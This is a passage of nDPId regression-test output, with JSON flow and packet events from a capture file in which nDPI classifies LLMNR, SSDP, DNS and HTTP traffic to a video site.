+00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1470104378045,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"224.0.0.252","src_port":58779,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1470104378045,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"239.255.255.250","src_port":59468,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":45830,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEEAAAER2QnAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1470104378045,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"239.255.255.250","src_port":59468,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00407{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":68918,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUcpAAIAG5y3AqHMIarkjbsG9AFA9WFL\/c+sff1AQAQAHLQAA"} +00407{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":68973,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUcpAAIAG5y3AqHMIarkjbsG9AFA9WFL\/c+sff1AQAQAHLQAA"} +00463{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":454680,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"MzMAAQAD\/PiuMpcsht1gAAAAACYRAf6AAAAAAAAA6Y+64hn3aw\/\/AgAAAAAAAAAAAAAAAQAD5ZsU6wAmcsn2BAAAAAEAAAAAAAAM5bCP5L2b5bCI5qmfAAD\/AAE="} +00433{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":454823,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AQBeAAD8\/PiuMpcsCABFAAA6KxYAAAER6ZnAqANf4AAA\/OWbFOsAJvTF9gQAAAABAAAAAAAADOWwj+S9m+WwiOapnwAA\/wAB"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1470104378557,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.125.30","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00837{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":557102,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/wKC7c+tHCABFAAFZOwBAAEARwM3AqH0e\/\/\/\/\/\/YA9gABRUjM\/\/+SXaAAwKC7c+tHwKh9HgAAAgAnAURHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTd2l0Y2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMuMTAuMDEzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwKC7c+tHQjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRUDBSMUQ5MDAwMDI1AAAAAAAAAAAAAAAAAAAAAAAAAERHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqH0e\/\/8AAFBvcnQgMTAAIAGwMAIUAQDCoLv\/\/nPrR0A="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1470104378657,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b030:214:100:c2a0:bbff:fe73:eb47","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00872{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":657181,"pkt_caplen":391,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":391,"pkt_l4_len":337,"pkt":"MzMAAAABwKC7c+tHht1gAAAAAVERgCABsDACFAEAwqC7\/\/5z60f\/AgAAAAAAAAAAAAAAAAAB9gD2AAFRTur\/D5JdoADAoLtz60cgAbAwAhQBAMKgu\/\/+c+tHAAACACcBREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFN3aXRjaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4xMC4wMTMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAoLtz60dCMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFQMFIxRDkwMDAwMjUAAAAAAAAAAAAAAAAAAAAAAAAAREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCofR7\/\/wAAUG9ydCAxMAAgAbAwAhQBAMKgu\/\/+c+tHQA=="} +00468{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":770974,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABxCjnAxCABFAABOUcsAAIAR9HrAqHMIwKj\/\/wCJAIkAOha6seYBEAABAAAAAAAAIEZIRkFFQkVFQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00468{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":771017,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABxCjnAxCABFAABOUcsAAIAR9HrAqHMIwKj\/\/wCJAIkAOha6seYBEAABAAAAAAAAIEZIRkFFQkVFQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1470104378901,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"168.95.1.1","src_port":52723,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":901305,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"TF4M6gNlABxCjnAxCABFAAA+UcwAAIARC9LAqHMIqF8BAc3zADUAKrfjceUBAAABAAAAAAAABmthbmthbgUxa3h1bgNjb20AAAEAAQ=="} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":54,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1470104378901,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"168.95.1.1","src_port":52723,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Streaming"},"dns": {"query":"kankan.1kxun.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00438{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":901349,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"TF4M6gNlABxCjnAxCABFAAA+UcwAAIARC9LAqHMIqF8BAc3zADUAKrfjceUBAAABAAAAAAAABmthbmthbgUxa3h1bgNjb20AAAEAAQ=="} +00481{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":905035,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"ABxCjnAxTF4M6gNlCABFAABelWIAAPgRUBuoXwEBwKhzCAA1zfMASvjnceWBgAABAAIAAAAABmthbmthbgUxa3h1bgNjb20AAAEAAcAMAAEAAQAAAjMABN5J\/qfADAABAAEAAAIzAATeSf5x"} +00662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":56,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":3,"flow_first_seen":1470104378901,"flow_last_seen":1470104378905,"flow_tot_l4_data_len":158,"flow_min_l4_data_len":42,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"168.95.1.1","src_port":52723,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Streaming"},"dns": {"query":"kankan.1kxun.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"222.73.254.167"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1470104378906,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"222.73.254.167","src_port":49598,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":906497,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0Uc5AAIAGmFPAqHMI3kn+p8G+AFDrM0BvAAAAAIACIABRhAAAAgQE7AEDAwgBAQQC"} +00422{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":906535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0Uc5AAIAGmFPAqHMI3kn+p8G+AFDrM0BvAAAAAIACIABRhAAAAgQE7AEDAwgBAQQC"} +00482{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":954523,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"ABxCjnAxTF4M6gNlCABFAABeST8AADAR\/Y8ICAgIwKhzCAA1zfMASpHwceWBgAABAAIAAAAABmthbmthbgUxa3h1bgNjb20AAAEAAcAMAAEAAQAAAlcABN5J\/nHADAABAAEAAAJXAATeSf6n"} +00663{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":59,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":3,"flow_first_seen":1470104377901,"flow_last_seen":1470104378954,"flow_tot_l4_data_len":158,"flow_min_l4_data_len":42,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":52723,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Streaming"},"dns": {"query":"kankan.1kxun.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"222.73.254.113"}} +00581{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":967066,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRMAAAQRv2DAqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00577{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":967195,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChfiAAAAERhWDAqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00422{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":970623,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADEGOSLeSf6nwKhzCABQwb6HB4x76zNAcIASFtBGWQAAAgQFtAEBBAIBAwMH"} +00406{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":970825,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdBAAIAGmF3AqHMI3kn+p8G+AFDrM0BwhweMfFAQAQSc9wAA"} +00406{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":970860,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdBAAIAGmF3AqHMI3kn+p8G+AFDrM0BwhweMfFAQAQSc9wAA"} +00969{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":975363,"pkt_caplen":474,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":474,"pkt_l4_len":440,"pkt":"TF4M6gNlABxCjnAxCABFAAHMUdFAAIAGlrjAqHMI3kn+p8G+AFDrM0BwhweMfFAYAQRjSwAAR0VUIC9hcGkvdmlkZW9zL2Fsc29saWtlcy8xMDQxMC5qc29uP2NhbGxiYWNrPWpRdWVyeTE4MzA2ODU1NjU3MTEyMzE5MDIyXzE0NzAxMDMyNDIxMjMmXz0xNDcwMTA0Mzc3ODk5IEhUVFAvMS4xDQpIb3N0OiBrYW5rYW4uMWt4dW4uY29tDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMjIgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjUuMC4xMzY0LjE1MiBTYWZhcmkvNTM3LjIyDQpSZWZlcmVyOiBodHRwOi8vYWQuMWt4dW4uY29tL21hYw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW4NCkFjY2VwdC1DaGFyc2V0OiBpc28tODg1OS0xLCosdXRmLTgNCg0K"} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":65,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1470104378906,"flow_last_seen":1470104378975,"flow_tot_l4_data_len":576,"flow_min_l4_data_len":20,"flow_max_l4_data_len":440,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"222.73.254.167","src_port":49598,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"kankan.1kxun.com","url":"kankan.1kxun.com\/api\/videos\/alsolikes\/10410.json?callback=jQuery18306855657112319022_1470103242123&_=1470104377899","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.22 (KHTML, like Gecko) Chrome\/25.0.1364.152 Safari\/537.22"}} +00969{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":975425,"pkt_caplen":474,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":474,"pkt_l4_len":440,"pkt":"TF4M6gNlABxCjnAxCABFAAHMUdFAAIAGlrjAqHMI3kn+p8G+AFDrM0BwhweMfFAYAQRjSwAAR0VUIC9hcGkvdmlkZW9zL2Fsc29saWtlcy8xMDQxMC5qc29uP2NhbGxiYWNrPWpRdWVyeTE4MzA2ODU1NjU3MTEyMzE5MDIyXzE0NzAxMDMyNDIxMjMmXz0xNDcwMTA0Mzc3ODk5IEhUVFAvMS4xDQpIb3N0OiBrYW5rYW4uMWt4dW4uY29tDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMjIgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjUuMC4xMzY0LjE1MiBTYWZhcmkvNTM3LjIyDQpSZWZlcmVyOiBodHRwOi8vYWQuMWt4dW4uY29tL21hYw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW4NCkFjY2VwdC1DaGFyc2V0OiBpc28tODg1OS0xLCosdXRmLTgNCg0K"} +00413{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":40644,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAo4LJAADEGWHveSf6nwKhzCABQwb6HB4x86zNCFFAQADacIQAAAAAAAAAA"} +01398{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":50526,"pkt_caplen":788,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":788,"pkt_l4_len":754,"pkt":"ABxCjnAxTF4M6gNlCABFAAMG4LNAADEGVZzeSf6nwKhzCABQwb6HB4x86zNCFFAYADb52QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG9wZW5yZXN0eS8xLjkuMy4yDQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjE5OjQwIEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9dXRmLTgNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpYLVBvd2VyZWQtQnk6IFBIUC83LjAuMQ0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQoNCjFjYw0KH4sIAAAAAAAAA62U3W7cIBCF34WrVlrvAsPvvkXvKpUqsgFv7awTt4ZuN1HevYOTCyP1zpUsbI0w3+FwmPFLjr\/uzABVRkolNWMcmKWcPzChKaPABcfSp1eypDblhZzJkr2Py0IOJLSpJedvr2QI5MwMN3AgaUjXiLNctiZAGX102QguXVZSMsD\/hqm9lDk\/UprP7uRO8+CP7PFPfjr658mdfg8hPj88tk\/4uNM6e\/mo4nsFNWN\/H+E4zhfydvgQAMLQrQBpVYFqq12WALYIaHuXtTIChSmNdSMg7FdUyE17nZdaEAdlt4IsCwyRWqAUwwC\/pen\/gyGF04w+\/azwILXZ0pUHUyyIFMdO8UI3++kF09xvL2MFF5ilLfzfYdjtfMGsUajgoFmVRBUt7lnEiHnUhrLd2AJo7mGqqEwpUR837To02QtMobQc06Y4M7vhK6e5juGlxluxOe6v7zDMWafUfiSu3QgvhO47zSle7BpNlaoNp75d94xBl2gWitHQ7pdROM2YbnXWGN4lvg2bBoPGay58GXURESIeQt8zlLWtSHSntALF94srKprbnC7v3nwviqaIbXOasTuu3VSAoW+f\/wLN0jIAdQUAAA0KMA0KDQo="} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":69,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1470104379066,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":60724,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":66410,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"TF4M6gNlABxCjnAxCABFAAA7UdIAAIARpR\/AqHMICAgICO00ADUAJ9woKZABAAABAAAAAAAAA3BpYwUxa3h1bgNjb20AAAEAAQ=="} +00632{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":69,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1470104379066,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":60724,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Streaming"},"dns": {"query":"pic.1kxun.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00434{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":66467,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"TF4M6gNlABxCjnAxCABFAAA7UdIAAIARpR\/AqHMICAgICO00ADUAJ9woKZABAAABAAAAAAAAA3BpYwUxa3h1bgNjb20AAAEAAQ=="} 